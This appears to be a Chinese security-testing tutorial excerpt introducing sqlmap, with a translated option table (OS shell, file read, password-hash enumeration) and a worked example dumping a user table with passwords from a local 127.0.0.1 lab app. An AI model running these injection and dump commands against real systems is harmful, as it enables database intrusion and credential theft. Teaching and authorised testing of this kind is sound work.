安全测试工具(连载5)

本文涉及的产品
Web应用防火墙 3.0,每月20元额度 3个月
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
简介: 安全测试工具(连载5)

2.2 SQL Map


SQL Map是一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URLSQL注入漏洞,目前支持的数据库是MySQLOraclePostgreSQLMicrosoft SQL ServerMicrosoft AccessIBM DB2SQLiteFirebird,SybaseSAP MaxDB。它采用六种独特的SQL注入技术,分别是。


  •  基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  •  基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟
  •  语句是否执行(即页面返回时间是否增加)来判断。
  •  基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  •  联合查询注入,可以使用union的情况下的注入。
  •  堆查询注入,可以同时执行多条语句的执行时的注入。


      首先需要说明的是,SQL Map是基于Python2.X进行编写的,所以使用SQL Map必须切换到Python2.X环境下,可以参考本书4.3.6章节的“扩展阅读:一台机器上同时支持Python 2.X系列和3.X系列”。本书介绍的SQL Map版本为1.2.9.30#dev


      打开命令行编辑工具,进入到SQL Map所在的目录,通过命令。

\sqlmap目录>sqlmap.py [参数] [可能存在SQL注入的URL地址]


      使用SQL Map工具。SQL Map的参数见2


2       SQLMap的参数


设置

解释

Options(选项)


-h, --help :显示此帮助消息并退出

-hh:显示更加详细的帮助信息并退出

--version:显示程序的版本号并退出

-v VERBOSE:详细级别:0-6(默认为1

Target(目标)

以下至少需要设置其中一个选项,设置目标URL

-d DIRECT:直接连接到数据库。

-u URL, --url=URL:目标URL

-l LOGFILE:解析目标、从BurpWebScarab代理日志文件。

-x SITEMAPURL:解析目标从远程站点地图文件(.xml)

-m BULKFILE:扫描文本文件中给出的多个目标。

-r REQUESTFILE:从文件加载HTTP请求。

-g GOOGLEDORK:处理Google dork的结果作为目标URL

-c CONFIGFILE:从INI配置文件中加载选项。

Request(请求)

这些选项可以用来指定如何连接到目标URL

--method=METHOD:强制使用给定的HTTP方法(e.g. PUT)。

--data=DATA:通过POST发送的数据字符串。

--param-del=PARA:用于拆分参数值的字符。

--cookie=COOKIEHTTP Cookie头的值。

--cookie-del=COOKIE :用于分割Cookie值的字符。

--load-cookies=L..  :包含Netscape / WGET格式的cookie的文件。

--drop-set-cookie:从响应中忽略Set-Cookie头。

--user-agent=AGENT:指定 HTTP User - Agent头。

--random-agent:使用随机选定的HTTP User - Agent头。

--host=HOSTHTTP主机头值。

--referer=REFERER :指定 HTTP Referer头。

-H HEADER, --hea.. :额外header,比如:(e.g.  "X-Forwarded-For: 127.0.0.1")

--headers=HEADERS:额外header,比如:(e.g.  "Accept-Language: fr\nETag: 123")

--auth-type=AUTH.. HTTP认证类型(Basic, Digest, NTLM or  PKI)

--auth-cred=AUTH.. HTTP认证凭证(name:password)

--auth-file=AUTH.. HTTP认证 PEM认证/私钥文件。

--ignore-401:忽略HTTP错误401(未经授权)

--proxy=PROXY:使用代理连接到目标网址。

--proxy-cred=PRO..:代理认证证书(name:password)

--proxy-file=PRO..:从文件中加载代理列表。

--ignore-proxy:忽略系统默认代理设置。

--tor:使用Tor匿名网络。

--tor-port=TORPORT:设置Tor代理端口而不是默认值。

--tor-type=TORTYPE:设置Tor代理类型。

--check-tor:检查Tor是否正确使用。

--delay=DELAY:每个HTTP请求之间的延迟(秒)

--timeout=TIMEOUT:超时连接前等待(秒,默认30秒)。

--retries=RETRIES:连接超时重试次数(默认值3)。

--randomize=RPARAM:随机更改给定参数的值。

--safe-url=SAFEURL:在测试期间频繁访问的URL地址。

--safe-post=SAFE..POST数据发送到安全URL

--safe-req=SAFER.. :从文件中加载安全HTTP请求。

--safe-freq=SAFE..:在两次访问给定安全网址之间测试请求。

--skip-urlencode:忽略有效载荷数据的URL编码。

--csrf-token=CSR.. :参数用于保存anti-CSRF令牌。

--csrf-url=CSRFURL :提取anti-CSRF URL地址访问令牌。

--force-ssl:强制使用SSL / HTTPS

--hpp:使用HTTP参数pollution的方法。

--eval=EVALCODE (e.g. 评估请求之前提供Python代码  "import  hashlib;id2=hashlib.md5(id).hexdigest()")

Optimization(优化)

这些选项可用于优化SQL Map的性能。

-o :开启所有优化开关。

--predict-output:预测常见的查询输出。

--keep-alive:使用持久的HTTP(S)连接。

--null-connection:从没有实际的HTTP响应体中检索页面长度。

--threads=THREADS:最大的HTTP(S)请求并发量(默认为1)。

Injection(注入)

这些选项可以用来指定测试哪些参数,提供自定义的注入payloads和可选篡改脚本。  

-p TESTPARAMETER:可测试的参数。

--skip=SKIP:忽略对给定参数的测试。

--skip-static:忽略测试不显示为动态的参数。

--param-exclude=.. :使用正则表达式排除参数进行测试(e.g. "ses")。

--dbms=DBMS :强制后端的DBMS为此值。

--dbms-cred=DBMS.. DBMS认证凭证(user:password)

--os=OS:强制后端的DBMS操作系统为这个值。

--invalid-bignum:使用大数字使值无效。

--invalid-logical:使用逻辑操作使值无效。

--invalid-string:使用随机字符串使值无效。

--no-cast:关闭有效Payload铸造机制

--no-escape:关闭字符串转义机制。

--prefix=PREFIX:注入Payload字符串前缀。

--suffix=SUFFIX:注入Payload字符串后缀。

--tamper=TAMPER:使用给定的脚本篡改注入数据。

Detection(检测)

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

--level=LEVEL:执行测试的等级(1-5,默认为1)。

--risk=RISK:执行测试的风险(0-3,默认为1)。

--string=STRING:查询时有效时在页面匹配字符串。

--not-string=NOT..:当查询求值为无效时匹配的字符串。

--regexp=REGEXP:查询时有效时在页面匹配正则表达式。

--code=CODE:当查询求值为True时匹配的HTTP代码。

--text-only:仅基于在文本内容比较网页。

    --titles:仅根据他们的标题进行比较。

Techniques(技巧)

这些选项可用于调整具体的SQL注入测试。

--technique=TECHSQL注入技术测试(默认BEUST)。

--time-sec=TIMESECDBMS响应的延迟时间(默认为5秒)。

--union-cols=UCOLS :定列范围用于测试UNION查询注入。

--union-char=UCHAR:用于暴力猜解列数的字符。

--union-from=UFROM:要在UNION查询SQL注入的FROM部分使用的表。

--dns-domain=DNS.. :域名用于DNS漏出攻击。

--second-order=S..  :生成页面的URL搜索为second-order响应。

Fingerprint(指纹)


-f, --fingerprint:执行检查广泛的DBMS版本指纹。

Enumeration(枚举)

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。

-a, --all:检索所有内容

-b, --banner:检索数据库管理系统的标识。

--current-user:检索数据库管理系统的当前用户。

--current-db:检索数据库管理系统当前数据库。

--hostname:检索数据库服务器的主机名。

--is-dba :检测数据库管理系统当前用户是否DBA

--users:枚举数据库管理系统用户。

--passwords:枚举数据库管理系统用户密码哈希值。

--privileges:枚举数据库管理系统用户的权限。

--roles:枚举数据库管理系统用户的角色。

--dbs:枚举数据库管理系统数据库。

--tables:枚举的数据库管理系统数据库中的表。

--columns:枚举数据库管理系统数据库表列。

--schema:枚举数据库架构。

--count:检索表的条目数。

--dump:转储数据库管理系统的数据库中的表项。

--dump-all:转储数据库管理系统的数据库中的表项。

--search:搜索列,表和/或数据库名称。

--comments:检索数据库的comments(注释、评论)。

-D DB:要进行枚举的数据库名。

-T TBL:要进行枚举的数据库表。

-C COL:要进行枚举的数据库列。

-X EXCLUDECOL:要不进行枚举的数据库列。

-U USER:用来进行枚举的数据库用户。

--exclude-sysdbs:枚举表时排除系统数据库。

--pivot-column=P.. :主列名称。

--where=DUMPWHERE:使用WHERE条件进行表转储。

--start=LIMITSTART:第一个查询输出进入检索。

--stop=LIMITSTOP:最后查询的输出进入检索。

--first=FIRSTCHAR:第一个查询输出字的字符检索。

--last=LASTCHAR:最后查询的输出字字符检索。

--sql-query=QUERY:要执行的SQL语句。

--sql-shell:提示交互式SQLshell

--sql-file=SQLFILE:从给定文件执行SQL语句。

Brute force(蛮力)

这些选项可以被用来运行蛮力检查。

--common-tables:检查存在共同表。

--common-columns:检查存在共同列。

Operating system access(操作系统访问)       

这些选项可以用于访问后端数据库管理系统的底层操作系统。 

--os-cmd=OSCMD:执行操作系统命令。

--os-shell:交互式的操作系统的shell

--os-pwn:获取一个OOB shellmeterpreterVNC

--os-smbrelay:一键获取一个OOB shellmeterpreterVNC

--os-bof:存储过程缓冲区溢出利用。

--priv-esc:数据库进程用户权限提升。

--msf-path=MSFPATH Metasploit Framework:本地的安装路径。

--tmp-path=TMPPATH:远程临时文件目录的绝对路径。

File system access(访问文件系统)

这些选项可以被用来访问后端数据库管理系统的底层文件系统。  

--file-read=RFILE 从后端的数据库管理系统文件系统读取文件

--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件

--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

User-defined function injection(用户自定义函数注入)

这些选项可以用来创建用户自定义函数。 

--udf-inject:注入用户自定义函数。

--shared-lib=SHLIB:共享库的本地路径。

Windows注册表访问

这些选项可以被用来访问后端数据库管理系统Windows注册表。

--reg-read:读一个Windows注册表项值。

--reg-add:写一个Windows注册表项值。

--reg-del:删除Windows注册表键值。

--reg-key=REGKEYWindows注册表键。

--reg-value=REGVALWindows注册表项值。

--reg-data=REGDATAWindows注册表键值数据。

--reg-type=REGTYPEWindows注册表项值类型。

General(一般)

这些选项可以用来设置一些一般的工作参数。  

-s SESSIONFILE:保存和恢复检索会话文件的所有数据。

-t TRAFFICFILE:记录所有HTTP流量到一个文本文件中。

--batch:从不询问用户输入,使用所有默认配置。  

--binary-fields=.. :具有二进制值的结果字段。

--charset=CHARSET:强制用于数据检索的字符编码。

--crawl=CRAWLDEPTH :从目标网址开始抓取网站。

--crawl-exclude=..:正则表达式排除网页抓取(e.g. "logout")

--csv-del=CSVDEL :分隔CSV输出中使用的字符(默认  ",")

--dump-format=DU..:转储数据的格式(CSV(默认)HTML  或者 SQLITE)。

--eta:表示每个输出的预计到达时间。

--flush-session:刷新当前目标的会话文件。

--forms:在目标网址上解析和测试表单。

--fresh-queries:忽略在会话文件中存储的查询结果。

--hex:使用数据库管理系统哈希函数进行数据检索。

--output-dir=OUT.. :自定义输出目录路径。

--parse-errors:解析和显示响应中的数据库管理系统错误消息。

--save=SAVECONFIG:保存选项到INI配置文件。  

--scope=SCOPE:使用正则表达式从提供的代理日志中过滤目标。

--test-filter=TE..:根据有效负载和/或标题(e.g. ROW)选择测试。

--test-skip=TEST..:根据有效负载和/或标题忽略测试(e.g. BENCHMARK)。

--update:更新SQLMap

Miscellaneous(杂项)


-z MNEMONICS:使用简短的助记符。

--alert=ALERT:在找到SQL注入时运行主机操作系统命令。

--answers=ANSWERS:设置问题答案(e.g. "quit=N,follow=N")

--beep:发现SQL注入时提醒。

--cleanup SqlMap具体的UDF和表清理DBMS

--dependencies:检查是否缺少(非内核)SQLMap依赖关系。

--disable-coloring:禁用控制台输出颜色。

--gpage=GOOGLEPAGE:使用Google dork结果指定页码。

--identify-waf:对WAF / IPS / IDS保护进行全面测试。

--skip-waf:跳过启发式检测WAF / IPS / IDS保护。

--mobile:通过HTTP User-Agent标头模仿智能手机。

--offline:在离线模式下工作(仅使用会话数据)。

--page-rankGoogle dork结果显示网页排名(PR)。

--purge-output:安全地从输出目录中删除所有内容。

--smart :只有在正启发式时才进行彻底测试。

--sqlmap-shell:提示交互式sqlmap shell

--wizard:给初级用户的简单向导界面。


案例5SQL注入的攻陷六步法

现在来看一个存在SQL注入的URL如何获得数据库内相关内容的。

1. 查看是否存在SQL注入。


(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3"
[15:40:40] [INFO] resuming back-end DBMS 'mysql’
    Type:UNION query
    Title:Generic UNION query (NULL) - 3 columns
    Payload:id=3 UNION ALL SELECTNULL,NULL,CONCAT(0x7162627171,0x4a7448706e6d61795679447864784676736e6f4f487269774f506f6a43526e654f76737352585a6c,0x716a786a71)--TJrx
---
[15:40:40] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL >= 5.0
[15:40:40] [INFO] fetched data logged to textfiles under 'C:\Users\xiang\.sqlmap\output\127.0.0.1'
[*] shutting down at 15:40:40


从上面结果可以获知,SQL Map已经得到数据库为MySQL,版本大于5.0,且后台是JSP语言。所以这个URL存在SQL注入。


2. 查看所有数据库。


(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3"  --dbs
cweb application technology: JSP
back-end DBMS: MySQL >= 5.0
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] sec
[*] test


从上面结果可以获知当前数据库中存在information_schemaMySQLperformance_schemaphpmyadminsectest六个数据库。


3. 查看当前数据库。

(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3"  --current-db
current database:    'sec'


从上面结果可以获知当前数据库为sec


4. 查看当前数据库下所有的表。

(py2.7work) c:\Python27\sqlmap> sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3"  --table -D "sec"
Database: sec
[2 tables]
+-------+
| user  |
| paper |
+-------+


从上面结果可以获知当前数据库下存在2个表:userpaper


5. 查看指定表的数据结构。

(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3"  --columns -T "user" -D"sec"
Database: sec
Table: user
[3 columns]
+----------+-------------+
| Column   |Type        |
+----------+-------------+
| id       |int(11)     |
| name     |varchar(20) |
| password | varchar(20) |
+----------+-------------+


从上面结果可以获知use表中共有idnamepassword三个字段以及三个字段的数据类型分别为int(11)varchar(20)varchar(20)


5. 查看指定表的数据结构。

(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3"  --dump –C "name,password" -T"user" -D "sec"
[5 entries]
+-------+----------+
| name  |password |
+-------+----------+
| jerry | 654321  |
| cindy | 123456  |
| susan | qwert    |
| peter | zxcvb   |
+-------+----------+
[11:51:44] [INFO] table 'sec.`user`' dumped to CSVfile 'C:\Users\xiang\.sqlmap\output\127.0.0.1\dump\sec\user.csv'
[11:51:44] [INFO] fetched data logged to textfiles under 'C:\Users\xiang\.sqlmap\output\127.0.0.1'
[*] shutting down at 11:51:44


从上面结果可以获知use表的内容,并且沟通过--dump参数把表内容导入到C:\Users\xiang\.sqlmap\output\127.0.0.1\dump\sec\user.csv文件。



星云测试

http://www.teststars.cc

奇林软件

http://www.kylinpet.com

联合通测

http://www.quicktesting.net


顾翔凡言:


图是软件项目三角形。

image.png

 软件项目三角形


      下面做如下假设。

l 假设质量(Q)与范围(S)不变,时间(T)减少的情形下,必须雇佣高水平的人员或者先进的技术,即增大产品的成本(C)。同理,质量(Q)与范围不变,时间(T)增加的情形下,可以减少成本(C)。

l 假设质量(Q)与时间(T)不变,范围(S)增加的情形下,也必须增大成本(C)。同理,质量(Q)与时间(T)不变,范围(S)减少的情形下,可以减少成本(C)。

l 假设质量(Q)与成本(C)不变,时间(T)减少的情形下,范围(S)必须减少。同理,质量(Q)与成本(C)不变,时间(T)增加的情形下,可以加大范围(S)。

于是可以得到如下公式:

Q = TC/S

 也就是说质量消耗单位模块的时间和金钱的乘积。从这里可以看出,完成一个功能,需要达到一定的质量,必须消耗有效的时间或者增加产品的成本投入,由此可以看出为了赶进度,盲目加班赶工是不可取的。

目录
相关文章
|
28天前
|
Java 测试技术 数据安全/隐私保护
软件测试中的自动化策略与工具应用
在软件开发的快速迭代中,自动化测试以其高效、稳定的特点成为了质量保证的重要手段。本文将深入探讨自动化测试的核心概念、常见工具的应用,以及如何设计有效的自动化测试策略,旨在为读者提供一套完整的自动化测试解决方案,帮助团队提升测试效率和软件质量。
|
21天前
|
Web App开发 IDE 测试技术
Selenium:强大的 Web 自动化测试工具
Selenium 是一款强大的 Web 自动化测试工具,包括 Selenium IDE、WebDriver 和 Grid 三大组件,支持多种编程语言和跨平台操作。它能有效提高测试效率,解决跨浏览器兼容性问题,进行性能测试和数据驱动测试,尽管存在学习曲线较陡、不稳定等缺点,但其优势明显,是自动化测试领域的首选工具。
127 17
Selenium:强大的 Web 自动化测试工具
|
1月前
|
机器学习/深度学习 人工智能 算法
BALROG:基准测试工具,用于评估 LLMs 和 VLMs 在复杂动态环境中的推理能力
BALROG 是一款用于评估大型语言模型(LLMs)和视觉语言模型(VLMs)在复杂动态环境中推理能力的基准测试工具。它通过一系列挑战性的游戏环境,如 NetHack,测试模型的规划、空间推理和探索能力。BALROG 提供了一个开放且细粒度的评估框架,推动了自主代理研究的进展。
43 3
BALROG:基准测试工具,用于评估 LLMs 和 VLMs 在复杂动态环境中的推理能力
|
1月前
|
监控 测试技术 开发工具
移动端性能测试工具
移动端性能测试工具
53 2
|
1月前
|
安全 前端开发 测试技术
如何选择合适的自动化安全测试工具
选择合适的自动化安全测试工具需考虑多个因素,包括项目需求、测试目标、系统类型和技术栈,工具的功能特性、市场评价、成本和许可,以及集成性、误报率、社区支持、易用性和安全性。综合评估这些因素,可确保所选工具满足项目需求和团队能力。
|
1月前
|
安全 网络协议 关系型数据库
最好用的17个渗透测试工具
渗透测试是安全人员为防止恶意黑客利用系统漏洞而进行的操作。本文介绍了17款业内常用的渗透测试工具,涵盖网络发现、无线评估、Web应用测试、SQL注入等多个领域,包括Nmap、Aircrack-ng、Burp Suite、OWASP ZAP等,既有免费开源工具,也有付费专业软件,适用于不同需求的安全专家。
201 2
|
1月前
|
监控 网络协议 Java
一些适合性能测试脚本编写和维护的工具
一些适合性能测试脚本编写和维护的工具
|
1月前
|
Web App开发 定位技术 iOS开发
Playwright 是一个强大的工具,用于在各种浏览器上测试应用,并模拟真实设备如手机和平板。通过配置 `playwright.devices`,可以轻松模拟不同设备的用户代理、屏幕尺寸、视口等特性。此外,Playwright 还支持模拟地理位置、区域设置、时区、权限(如通知)和配色方案,使测试更加全面和真实。例如,可以在配置文件中设置全局的区域设置和时区,然后在特定测试中进行覆盖。同时,还可以动态更改地理位置和媒体类型,以适应不同的测试需求。
Playwright 是一个强大的工具,用于在各种浏览器上测试应用,并模拟真实设备如手机和平板。通过配置 `playwright.devices`,可以轻松模拟不同设备的用户代理、屏幕尺寸、视口等特性。此外,Playwright 还支持模拟地理位置、区域设置、时区、权限(如通知)和配色方案,使测试更加全面和真实。例如,可以在配置文件中设置全局的区域设置和时区,然后在特定测试中进行覆盖。同时,还可以动态更改地理位置和媒体类型,以适应不同的测试需求。
89 1
|
2月前
|
Java 流计算
Flink-03 Flink Java 3分钟上手 Stream 给 Flink-02 DataStreamSource Socket写一个测试的工具!
Flink-03 Flink Java 3分钟上手 Stream 给 Flink-02 DataStreamSource Socket写一个测试的工具!
47 1
Flink-03 Flink Java 3分钟上手 Stream 给 Flink-02 DataStreamSource Socket写一个测试的工具!
|
2月前
|
jenkins 测试技术 持续交付
提升软件测试效率的实用技巧与工具
【10月更文挑战第12天】 本文将深入探讨如何通过优化测试流程、引入自动化工具和持续集成等策略,来显著提高软件测试的效率。我们将分享一些实用的技巧和工具,帮助测试人员更高效地发现和定位问题,确保软件质量。
75 2